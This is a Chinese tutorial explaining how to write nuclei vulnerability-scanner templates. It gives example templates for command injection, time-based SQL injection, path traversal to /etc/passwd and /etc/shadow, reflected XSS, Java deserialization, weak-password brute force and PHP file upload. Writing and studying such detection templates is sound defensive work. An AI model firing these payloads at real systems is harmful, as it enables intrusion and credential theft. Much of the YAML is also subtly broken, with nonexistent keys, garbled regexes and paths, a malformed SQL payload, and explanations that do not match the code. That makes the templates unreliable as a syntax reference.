nuclei 是一款基于 Go 语言开发的快速、灵活的自动化漏洞扫描工具,它使用 YAML 格式的模板来定义扫描规则。YAML(YAML Ain’t Markup Language)是一种用于配置文件和数据序列化的数据描述语言,它以易读性著称。
YAML 脚本语法基础
- 缩进:YAML 使用空格进行缩进,通常每个缩进级别为两个空格。
- 键值对:YAML 通过键值对来存储数据,键和值之间用冒号 `` 分隔。
- 列表:使用短横线
-来表示列表中的项。 - 注释:以
#开头的行是注释。 - 字符串:字符串可以不使用引号,也可以使用单引号或双引号。
nuclei 模板语法
nuclei 模板通常包含以下几个部分:
- id:模板的唯一标识符。
- info:包含模板的基本信息,如名称、作者、版本等。
- author:模板作者。
- severity:漏洞的严重性等级。
- tags:用于分类的标签。
- requests:定义了如何与目标进行交互的请求部分。
- method:HTTP 方法,如 GET 或 POST。
- path:请求的路径。
- headers:请求头。
- body:请求体。
- payloads:用于定义可能的输入值。
- response:定义了如何分析响应以确定是否发现漏洞。
- status:期望的 HTTP 状态码。
- headers:期望的响应头。
- body:期望的响应体内容。
常见使用场景
命令执行
# 任务信息
info:
name: Command Injection Vulnerability Scan
author: your_name
severity: critical
description: The scan checks for command injection vulnerabilities by sending specially crafted payloads.
# HTTP 请求
http:
# GET 请求
- method: GET
path:
- "{{BaseURL}}cmd=whoami"
matchers:
- type: regex
part: body
regex:
- "root|administrator|www-data"
# POST 请求
- method: POST
path:
- "{{BaseURL}}execute"
body: "cmd=cat /etc/passwd"
matchers:
- type: regex
part: body
regex:
- "rootx00"
# RAW 请求 (可选)
- raw:
- "GET {{BaseURL}}cmd={{rand_base64}} HTTP/1.1\r\nHost: {{Hostname}}\r\n\r\n"
matchers:
- type: dsl
dsl:
- "contains(tolower(body), 'rootx00')"
解释:
id模板的唯一标识符。info包含模板的名称、作者、严重性和描述。http包含 HTTP 请求的配置。method请求方法,示例中包括 GET 和 POST 方法。path请求路径,{{BaseURL}}会被替换为目标 URL。body对于 POST 请求,这里是发送的数据体。
matchers定义匹配响应的条件。type匹配类型,示例中使用了正则表达式。part匹配响应的哪一部分,这里是响应体。regex正则表达式,用于匹配特定的命令输出,如用户列表。
raw可选,用于发送原始 HTTP 请求,这里使用了 base64 编码的随机字符串来避免被某些防护机制拦截。dsl一种脚本语言,用于更复杂的匹配逻辑,示例中用于匹配小写转换后的响应体中是否包含特定的字符串。
sql延时注入
id: sql-delay-injection-scan
info:
name: SQL Delay Injection Detection
author: your_name
severity: critical
description: This template detects SQL delay injection vulnerabilities by measuring the response time of crafted payloads.
http:
- method: GET
path:
- "{{BaseURL}}/index.php?id=1" # Example path, adjust according to the application's parameter
headers:
User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"
payloads:
delay:
- "1'"
- "' AND (SELECT FROM (SELECT(SLEEP(5)))a) AND '1'='1"
attack: clusterbomb # This will send all payloads for each path
matchers:
- type: dsl
dsl:
- "duration >= 5000" # The response time should be greater than or equal to 5000ms (5 seconds) to indicate a potential delay
extractors:
- type: regex
part: body
regex:
- "SQL syntax.*SQL injection" # Extracts error messages that may indicate SQL injection
解释:
id模板的唯一标识符。info包含模板的名称、作者、严重性和描述。http包含 HTTP 请求的配置。method请求方法,这里使用 GET。path请求路径,需要根据实际应用调整。headers可以设置请求头,这里给出了一个 User-Agent 示例。payloads定义用于测试的 payload 列表,这里包括了可能触发延时的 SQL 语句。attack使用 clusterbomb 策略,意味着对每个路径发送所有 payload。
matchers定义匹配响应的条件。type使用 DSL 匹配器。dsl使用 duration 检查响应时间,如果响应时间超过 5 秒,则可能表明存在 SQL 延时注入。
extractors用于从响应中提取可能表明 SQL 注入的特定字符串。
任意文件读取
id: arbitrary-file-read-scan
info:
name: "Arbitrary File Read Detection"
author: "your_name"
severity: "high"
description: "The template checks for arbitrary file read vulnerabilities by attempting to access sensitive files."
http:
- method: GET
path:
- "{{BaseURL}}/pathtosensitivefiles/file=etcpasswd"
- "{{BaseURL}}/download/path=.../etc/shadow"
- "{{BaseURL}}/viewfile/filename=.../var/www/html/config.php"
matchers:
- type: regex
part: body
regex:
- "root:x:.*" # Typical line in /etc/passwd
- "shadow:" # Typical line in /etc/shadow
- "DB_PASSWORD=" # Example of a configuration file containing a password
- type: status
status:
- 200
extractors:
- type: regex
part: body
name: sensitive_files
regex:
- "(\/etc\/passwd|\/etc\/shadow|\/var\/www\/html\/config\.php)" # Adjust the regex to match the files you are looking for
response:
- status: 403 # Forbidden status code, indicating the file is protected but accessible
headers:
- "Content-Type: text/plain" # Example of a header that might be returned for a protected file
- status: 404 # Not Found status code, indicating the file does not exist or is not accessible
解释:
id模板的唯一标识符。info包含模板的名称、作者、严重性和描述。http包含 HTTP 请求的配置。method请求方法,这里使用 GET。path请求路径,包括尝试访问的敏感文件路径。需要根据目标应用的实际路径进行调整。
matchers定义匹配响应的条件。type使用正则表达式匹配响应体。regex正则表达式列表,用于匹配敏感文件中可能包含的特定字符串。status检查响应状态码,200 表示文件被成功读取。
extractors用于从响应中提取可能表明文件内容的字符串。type使用正则表达式提取器。regex正则表达式,用于匹配响应体中的敏感文件名。
response可选,定义了响应的状态码和头部信息,用于进一步验证文件的可访问性。
跨站脚本攻击
id: reflected-xss-scan
info:
name: "Reflected XSS Vulnerability Detection"
author: "your_name"
severity: "medium"
description: "This template detects reflected XSS vulnerabilities by sending payloads to the target URL and checking for the presence of the payload in the response."
http:
- method: GET
path:
- "{{BaseURL}}/search?q={{randstr}}"
- "{{BaseURL}}/param={{randstr}}"
payloads:
- payload: "{{randstr}}"
- payload: "%3Cscript%3Ealert%28%27xss%27%29%3B%3C%2Fscript%3E" # Encoded script: alert('xss');</script>
attack_chain: # This will send the payloads after the randstr
matchers:
- type: word
part: body
words:
- "scriptalert('xss');script" # Look for the exact payload in the response
- "{{randstr}}" # Look for the random string in the response
- type: status
status:
- 200
extractors:
- type: regex
part: body
regex:
- "[^<]script[^>].*alert.*([^<]script)" # Regex to capture scripts with alert
- "(i)(href|src)=(data:jscript|vbscript|livescript|mhtml|javascript|about:mocha|frameset|xml|xslt|x-xrds|beap|#)" # Regex to capture potential XSS vectors
解释:
id模板的唯一标识符。info包含模板的名称、作者、严重性和描述。http包含 HTTP 请求的配置。method请求方法,这里使用 GET。path请求路径,这里给出了两个示例,需要根据实际应用调整。payloads定义用于测试的 payload 列表,包括随机字符串和 XSS 攻击向量。attack使用 chain 策略,意味着在每个路径后附加 payload。
matchers定义匹配响应的条件。type使用 word 匹配器查找响应体中是否包含特定的字符串或 payload。status检查响应状态码,200 表示请求成功。
extractors用于从响应中提取可能表明 XSS 漏洞的字符串。type使用正则表达式提取器。regex正则表达式列表,用于匹配可能的 XSS 向量。
反序列化漏洞
id: snakeyaml-deserialization-scan
info:
name: "SnakeYAML Deserialization Vulnerability Detection"
author: "your_name"
severity: "high"
description: "Checks if the application is vulnerable to SnakeYAML deserialization attacks by sending serialized Java objects."
http:
- method: POST
path:
- "{{BaseURL}}/apideserialize" # 假设的反序列化处理接口
headers:
Content-Type: "application/x-java-serialized-object"
body: |
ACED00057372002D6F626A6563742E7365727665726C65735F7365727665726C6966652E5472696F6E67496E766F6B65...
matchers:
- type: word
part: body
words:
- "java.lang.ClassCastException"
- "java.io.InvalidClassException"
condition: or
- type: status
status:
- 500
解释:
id模板的唯一标识符。info包含模板的名称、作者、严重性和描述。http包含 HTTP 请求的配置。method请求方法,这里使用 POST。path请求路径,需要根据实际应用的反序列化处理接口进行调整。headers设置Content-Type为 Java 序列化对象的 MIME 类型。body包含序列化后的 Java 对象的二进制数据。这里的数据是示例,实际使用时应根据可能的反序列化对象进行调整。
matchers定义匹配响应的条件。- 第一个
type word匹配器查找响应体中的错误消息,这可能表明反序列化过程中发生了异常。 - 第二个
type status匹配器查找 500 状态码,这可能表明服务器端发生了错误。
- 第一个
弱密码
id: weak-password-detection
info:
name: "Weak Password Detection"
author: "your_name"
severity: "info"
description: "Attempts to detect weak passwords for basic auth, form logins, or specific APIs by sending common credentials."
http:
- method: POST
path:
- "{{BaseURL}}/login"
body: |
username={{username}}&password={{password}}
headers:
Content-Type: "application/x-www-form-urlencoded"
# 定义 payload 提供用户名和密码组合
payloads:
- username: "admin"
- password: "123456" # 可以根据需要添加更多常见弱密码
# 使用 attack clusterbomb 模式发送所有用户名和密码的组合
attack: clusterbomb
matchers:
- type: dsl
dsl:
- "status_code==200 && contains(tolower(body), 'login successful')" # 假设登录成功会返回 200 状态码和包含 'login successful' 文本
- "cookiecontains(auth_token)" # 假设登录成功会设置一个 auth_token 的 cookie
解释:
id模板的唯一标识符。info包含模板的名称、作者、严重性和描述。http包含 HTTP 请求的配置。method请求方法,这里使用 POST。path假设的登录接口路径。body发送的数据,包含用户名和密码字段。headers发送的 HTTP 头部,指定内容类型为表单编码。payloads定义要尝试的用户名和密码,这里只是示例,可以根据实际情况扩展。attack使用 clusterbomb 模式,尝试所有用户名和密码的组合。
matchers定义匹配响应的条件,这里假设登录成功会返回 200 状态码和包含特定文本,或者设置特定的 cookie。
文件上传
任意文件上传漏洞允许攻击者上传不应该被允许的文件类型,这可能导致服务器被攻击者控制。编写用于检测任意文件上传漏洞的 Nuclei YAML 脚本时,需要考虑上传接口的特征以及如何构造有效的上传请求。以下是一个基础的示例脚本:
id: arbitrary-file-upload-scan
info:
name: "Arbitrary File Upload Vulnerability Detection"
author: "your_name"
severity: "high"
description: "The template checks for arbitrary file upload vulnerabilities by attempting to upload files with known vulnerable extensions."
http:
- method: POST
path:
- "{{BaseURL}}/upload" # 假设的上传接口路径
headers:
Content-Type: "multipart/form-data; boundary=----WebKitFormBoundaryX"
# 构造一个带有文件上传的请求体
body: |
------WebKitFormBoundaryX
Content-Disposition: form-data; name="uploadfile"; filename="{{randstr}}.php"
Content-Type: "application/x-php"
php echo 'File uploaded successfully';
------WebKitFormBoundaryX--
matchers:
- type: word
part: body
words:
- "File uploaded successfully" # 假设上传成功会返回特定的成功消息
- type: status
status:
- 200
解释:
id模板的唯一标识符。info包含模板的名称、作者、严重性和描述。http包含 HTTP 请求的配置。method请求方法,这里使用 POST。path假设的上传接口路径,需要根据实际应用调整。headers设置请求头,指定内容类型为多部分表单数据。body构造请求体,包含文件上传的详细信息,这里使用 PHP 脚本作为示例。
matchers定义匹配响应的条件。type使用 word 匹配器查找响应体中是否包含特定的成功消息。status检查响应状态码,200 表示请求成功。
使用这些模板时,nuclei 会发送请求到目标 URL,并根据模板中的 response 部分来检查响应,以确定是否存在安全漏洞。这些只是一些基本示例,实际使用时可以根据需要创建更复杂的规则。
3000






